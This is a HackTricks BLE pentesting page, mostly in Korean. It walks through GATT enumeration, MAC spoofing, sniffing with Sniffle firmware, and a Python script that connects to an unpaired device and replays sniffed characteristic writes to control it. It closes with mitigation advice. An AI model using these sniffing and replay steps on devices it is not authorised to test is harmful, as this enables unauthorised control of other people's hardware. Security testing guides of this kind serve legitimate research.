Pentesting BLE - Bluetooth Low Energy

Reading time: 8 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Introduction

Available since the Bluetooth 4.0 specification, BLE uses only 40 channels, covering the range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in that same range.

BLE 장치는 advertising packets (beacons)을 전송하여 통신하며, 이 패킷들은 주변 장치에 BLE 장치의 존재를 브로드캐스트합니다. 이러한 beacons는 때때로 send data 하기도 합니다.

리스닝 장치(또는 central device)는 특정 advertising 장치로 보낸 SCAN request에 응답할 수 있습니다. 그 스캔에 대한 response는 초기 advertising request에 들어가지 못한 추가 정보를 포함하여 advertising 패킷과 동일한 구조를 사용합니다. 예를 들어 전체 장치 이름이 그러한 추가 정보에 해당합니다.

프리앰블 바이트는 주파수를 동기화하며, 네 바이트의 access address는 여러 장치가 동일 채널에서 연결을 시도할 때 사용하는 connection identifier입니다. 다음으로 Protocol Data Unit (PDU)는 advertising data를 포함합니다. PDU에는 여러 유형이 있으며, 가장 일반적으로 사용되는 것은 ADV_NONCONN_IND 및 ADV_IND입니다. 장치가 연결을 허용하지 않을 경우 ADV_NONCONN_IND PDU 유형을 사용하여 advertising 패킷에만 데이터를 전송합니다. 장치가 연결을 허용할 경우 ADV_IND를 사용하며, connection이 수립되면 advertising 패킷 전송을 중지합니다.

GATT

Generic Attribute Profile (GATT)은 device가 데이터를 어떻게 포맷하고 전송해야 하는지를 정의합니다. BLE 장치의 공격 표면을 분석할 때 대부분 GATT(또는 GATTs)에 집중하게 되는데, 이는 장치 기능이 어떻게 트리거되는지와 데이터가 어떻게 저장되고 그룹화되며 수정되는지를 보여주기 때문입니다. GATT는 장치의 characteristics, descriptors, services를 16비트 또는 32비트 값으로 표 형태로 나열합니다. 하나의 characteristic은 central device와 peripheral 사이에서 전송되는 데이터 값입니다. 이러한 characteristics는 그들에 대한 추가 정보를 제공하는 descriptors를 가질 수 있습니다. Characteristics는 관련된 특정 동작을 수행하는 경우 services그룹화되는 경우가 많습니다.

Enumeration

bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool은 다른 장치와의 연결설정하고, 해당 장치의 특성을 나열하며 속성을 읽고 쓸 수 있게 해준다.\
GATTTool은 -I 옵션으로 대화형 셸을 실행할 수 있다:

bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing and actively controlling unpaired BLE devices

저가형 BLE 주변기기 중 다수는 pairing/bonding을 강제하지 않습니다. bonding이 없으면 Link Layer encryption은 활성화되지 않으므로 ATT/GATT 트래픽은 평문으로 전송됩니다. off-path sniffer는 연결을 추적하고 GATT 연산을 디코딩하여 characteristic handles 및 values를 알아낼 수 있으며, 주변의 어떤 host도 연결해서 그 쓰기들을 replay하여 기기를 제어할 수 있습니다.

Sniffing with Sniffle (CC26x2/CC1352)

하드웨어: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) — NCC Group의 Sniffle 펌웨어로 재플래시됨.

Linux에 Sniffle 및 Wireshark extcap을 설치:

bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Sonoff에 Sniffle firmware를 플래시하세요 (시리얼 장치가 일치하는지 확인하세요, 예: /dev/ttyUSB0):

bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Wireshark에서 Sniffle extcap로 캡처하고 필터링하여 상태 변경 쓰기로 빠르게 pivot:

text
_ws.col.info contains "Sent Write Command"

이는 클라이언트로부터의 ATT Write Commands를 강조한다; 핸들(handle)과 값(value)은 종종 장치 동작에 직접 매핑된다(예: buzzer/alert characteristic에 0x01을 쓰면 알림, 0x00을 쓰면 중지).

Sniffle CLI 빠른 예:

bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

대체 sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin도 작동합니다. 작은/저렴한 Nordic dongle에서는 보통 sniffer firmware를 로드하기 위해 USB bootloader를 덮어쓰므로, 전용 sniffer dongle을 따로 보관하거나 나중에 bootloader를 복구하기 위해 J-Link/JTAG이 필요합니다.

GATT를 통한 능동 제어

sniffed traffic에서 writable characteristic handle과 value를 확인했으면, 아무 central로 연결하여 동일한 write를 수행하세요:

  • With Nordic nRF Connect for Desktop (BLE app):

  • Select the nRF52/nRF52840 dongle, scan and connect to the target.

  • Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).

  • Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).

  • Automate on Windows with a Nordic dongle using Python + blatann:

python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

운영 노트 및 완화

  • 안정적인 채널 호핑과 연결 추적을 위해 Linux에서 Sonoff+Sniffle 사용을 권장합니다. 예비용 Nordic sniffer를 백업으로 보관하세요.
  • pairing/bonding 없이, 근처의 공격자는 writes를 관찰하고 unauthenticated writable characteristics에 대해 자신들의 writes를 replay/craft할 수 있습니다.
  • 완화: pairing/bonding 요구 및 암호화 적용; characteristic permissions를 authenticated writes 요구로 설정; unauthenticated writable characteristics 최소화; Sniffle/nRF Connect로 GATT ACLs 검증.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기